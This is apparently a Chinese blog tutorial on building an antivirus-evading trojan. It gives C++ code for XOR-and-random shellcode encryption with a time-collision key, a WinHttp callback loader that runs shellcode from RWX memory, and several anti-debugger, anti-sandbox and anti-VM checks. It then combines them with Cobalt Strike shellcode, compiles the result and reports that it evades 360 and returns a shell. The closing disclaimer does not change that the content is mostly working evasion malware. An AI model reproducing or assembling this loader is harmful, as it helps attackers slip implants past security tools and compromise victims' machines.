前言

前一篇通过aes加密shellcode的免杀在主机上运行有bug,提示缺少xxx.dll文件,这是由于aes的实现依赖于第三方库openssl导致的:

于是我重新研究了自定义算法——随机值时间碰撞解密大法。不再依赖于第三方库而且这名字一听就很diao的样子😂。

效果图

这是新的效果图:

前置知识

免杀马的实现就是将shellcode加密、shellcode加载器、反沙箱及编译器编译等几种技术组合在一起实现免杀。

shellcode加密有异或加密、base64加密、aes加密、自定义加解密等几种。异或加密和base64加密也就是最简单的加密,也就是最容易被查杀的两种加密在这里暂且不考虑,普通的自定义加解密也会被SecureAge、微软等逆推能力很强的杀软查杀。因为aes依赖外部库有bug,这里重新考虑自定义算法,不同的是这里要将自定义算法的密钥做一下转换简称——随机值时间碰撞解密大法。。。

下面是自定义的异或随机值加解密

#include <iostream>

using namespace std;

unsigned char* encrypt(unsigned char* input, int len, unsigned int key) {
    unsigned char* output = new unsigned char[len];
    srand(key);
    for (int i = 0; i < len; i++) {
        output[i] = input[i] ^ key;
        output[i] = output[i] ^ (rand() % len + 1);
    }
    return output;
}

unsigned char* decrypt(unsigned char* input, int len, unsigned int key) {
    unsigned char* output = new unsigned char[len];
    srand(key);
    for (int i = 0; i < len; i++) {
        output[i] = input[i] ^ (rand() % len + 1);
        output[i] = output[i] ^ key;
    }
    return output;
}

int main() {
    unsigned char input[] = "Hello, World!";
    unsigned int key = 123456;
    int len = sizeof input - 1;

    cout << "Original message: " << input << endl;

    unsigned char* encrypted = encrypt(input, len, key);
    cout << "Encrypted message: ";
    for (int i=0; i < len; i++)
        printf("\\x%x", encrypted[i]);
    cout << endl;

    unsigned char* decrypted = decrypt(encrypted, len, key);
    cout << "Decrypted message: ";
    for (int i = 0; i < len; i++)
        printf("%c", decrypted[i]);

    delete[] encrypted;
    delete[] decrypted;

    return 0;
}

具体加密过程:先异或加密再用key作为随机值种子生成随机数再异或加密。

后面关于key值的转换:

int i = 500;
while (i--) {
    // 获取开始时间
    auto start_time = chrono::high_resolution_clock::now();
    // 延迟100毫秒
    this_thread::sleep_for(chrono::milliseconds(100));
    // 获取结束时间
    auto end_time = chrono::high_resolution_clock::now();
    // 计算时间差
    auto elapsed_time = chrono::duration_cast<chrono::milliseconds>(end_time - start_time);
    srand(time(NULL));
    // 密钥454545先减去100毫秒,再减去15得454430,再加上时间差和0-30的随机数碰撞出原key
    unsigned char* decrypted = decrypt(lpAddress, sizeof lpAddress - 1, 454430 + elapsed_time.count() + (rand() % 30));
    if (decrypted[0] == 0xfc and decrypted[1] == 0x48) {
        // shellcode loader
// ......

    break;

}
}

密钥454545先减去100毫秒,再减去15得454430,再加上时间差和0-30的随机数重复500次保证碰撞出原key,再用if判断前两个字符是否与原shellcode相等,相等则加载shellcode,最后break退出循环。

由于加入了随机值和Sleep()及now()等这类计算时间的函数因此也具有反沙箱的效果,沙箱一般有加速时间的效果,这可能会导致Sleep及now()失效,导致无法碰撞出原key,关于反沙箱后面还会讲到。

前面讲了shellcode加解密,后面讲shellcode加载器。

最好用免杀更强的函数回调shellcode加载器,如http回调加载:

#include<Windows.h>
#include<winhttp.h>
#pragma comment(lib,"Winhttp.lib")

unsigned char lpAddress[] = "\xfc...";

int main(INT argc, char* argv[]) {
	DWORD lpflOldProtect;
	VirtualProtect(lpAddress, sizeof lpAddress / sizeof lpAddress[0], PAGE_EXECUTE_READWRITE, &lpflOldProtect);
	HINTERNET hSession = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
	WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hSession, (WINHTTP_STATUS_CALLBACK)&lpAddress, WINHTTP_CALLBACK_FLAG_HANDLES, 0);
	WinHttpCloseHandle(hSession);
	return 0;
}

g++编译命令:

g++ scl.cpp -o scl.exe -lwinhttp

shellcode加载器讲完,然后是反沙箱。反沙箱操作参考微信上的文章以及chatgpt给出的代码,具体效果如何未知,不过微步的沙箱是通过了的。

(1)简单监测是否是被调试:

#include <Windows.h>
#include <iostream>

using namespace std;

int main() {
    if (IsDebuggerPresent()) {
        cout << "调试器检测到当前程序" << endl;
        return 1;
    }

    BOOL bDebuggerPresent = FALSE;
    if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &bDebuggerPresent) && bDebuggerPresent) {
        cout << "远程调试器检测到当前程序" << endl;
        return 1;
    }

    if (GetSystemMetrics(SM_REMOTESESSION) != 0) {
        cout << "当前程序正在远程桌面会话中" << endl;
        return 1;
    }

    return 0;
}

(2)监测时间流速:

#include <iostream>
#include <chrono>
#include <thread>
using namespace std;

bool detect_sandbox() {
    bool is_sandbox = false;
    auto start_time = chrono::high_resolution_clock::now();

    this_thread::sleep_for(chrono::milliseconds(100));

    auto end_time = chrono::high_resolution_clock::now();
    auto elapsed_time = chrono::duration_cast<chrono::milliseconds>(end_time - start_time);

    if (elapsed_time.count() < 100) {
        is_sandbox = true;
    }

    return is_sandbox;
}

int main() {
    if (detect_sandbox()) {
        cout << "This program may be running in a sandbox!" << endl;
    } else {
        cout << "This program is not running in a sandbox." << endl;
    }

    return 0;
}

沙箱一个都有时间加速,通过这段代码判断时间是否被加速来判断是否在沙箱。

下面是通过检测硬件来反虚拟化,利用虚拟机与真实物理机之间的差异来检测,这将导致无法在虚拟机中运行。

(3)检测内存页数量

#include <Windows.h>
#include <iostream>
using namespace std;

int GetNumPages() {
    // 获取系统页面文件大小信息
    MEMORYSTATUSEX statex;
    statex.dwLength = sizeof(statex);
    if (!GlobalMemoryStatusEx(&statex)) {
        cerr << "Failed to get system memory status." << endl;
        return 1;
    }

    SYSTEM_INFO systemInfo;
    GetSystemInfo(&systemInfo);
    return statex.ullTotalPageFile / systemInfo.dwPageSize;
}

int main() {
    int numPages = GetNumPages();
    cout << numPages << endl;
    if (numPages < 4000000) {
        cout << "内存页小于正常值,可能处于虚拟机环境" << endl;
        return 1;
    }
    return 0;
}

(4)检测硬盘数量

#include <Windows.h>
#include <iostream>
using namespace std;

int GetNumDrives() {
    DWORD drives = GetLogicalDrives();
    int numDrives = 0;
    for (char i = 0; i < 26; i++) {
        if (drives & (1 << i)) {
            char path[4];
            sprintf_s(path, "%c:\\", 'A' + i);
            UINT type = GetDriveTypeA(path);
            if (type == DRIVE_FIXED || type == DRIVE_REMOVABLE) {
                numDrives++;
            }
        }
    }
    return numDrives;
}

int main() {
    int numDrives = GetNumDrives();
    cout << numDrives << endl;
    if (numDrives < 2) {
        cout << "硬盘数量小于正常值,可能处于虚拟机环境" << endl;
        return 1;
    }
    return 0;
}

(5)检测CPU数量

#include <Windows.h>
#include <iostream>
using namespace std;

int main() {
    SYSTEM_INFO systemInfo;
    GetSystemInfo(&systemInfo);
    cout << systemInfo.dwNumberOfProcessors << endl;
    if (systemInfo.dwNumberOfProcessors <= 4) {
        cout << "CPU数量小于正常值,可能处于虚拟机环境" << endl;
        return 1;
    }
    return 0;
}

(6)检测网络适配器数量

#include <iostream>
#include <Winsock2.h>
#include <iphlpapi.h>
#include <windows.h>
using namespace std;
#pragma comment(lib, "iphlpapi.lib")

int GetNumAdapters() {
    DWORD dwSize = 0;
    GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, NULL, &dwSize);
    PIP_ADAPTER_ADDRESSES pAddresses = (PIP_ADAPTER_ADDRESSES)new BYTE[dwSize];
    GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, pAddresses, &dwSize);
    int numAdapters = 0;
    PIP_ADAPTER_ADDRESSES pCurrAddresses = pAddresses;
    while (pCurrAddresses) {
        if (pCurrAddresses->OperStatus == IfOperStatusUp) {
            numAdapters++;
        }
        pCurrAddresses = pCurrAddresses->Next;
    }
    return numAdapters;
}

int main() {
    int numAdapters = GetNumAdapters();
    cout << numAdapters << endl;
    if (numAdapters < 2) {
        cout << "网络适配器数量小于正常值,可能处于虚拟机环境" << endl;
        return 1;
    }
    return 0;
}

最后是编译器的选择也是重要的一点,有visual studio和g++,选择g++编译,g++编译比vs低两个数量,vs打包空exe在vt有3个报毒,使用g++是1个报毒,但是g++的缺点也很明显g++打包大小3m,vs打包大小20k。

组合免杀马

将前面的几种技术组合在一起就是一个免杀马。

先从cs导出c语言的shellcode,用前面的自定义的异或随机值加解密

复制前面16进制的代码到shelllcode加载器:

再复制前面的反沙箱代码到shellcode加载器:


key用随机值时间碰撞解密大法

到这里免杀木马基本完成,测试以下能否反弹shell,用g++编译:

g++ scl.cpp -o scl.exe -lwinhttp -liphlpapi

在虚拟机中测试:

提示是这是虚拟机同时终止运行。

放主机上测试,主机上的360没有报毒:

放VT和微步就是前面的截图。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。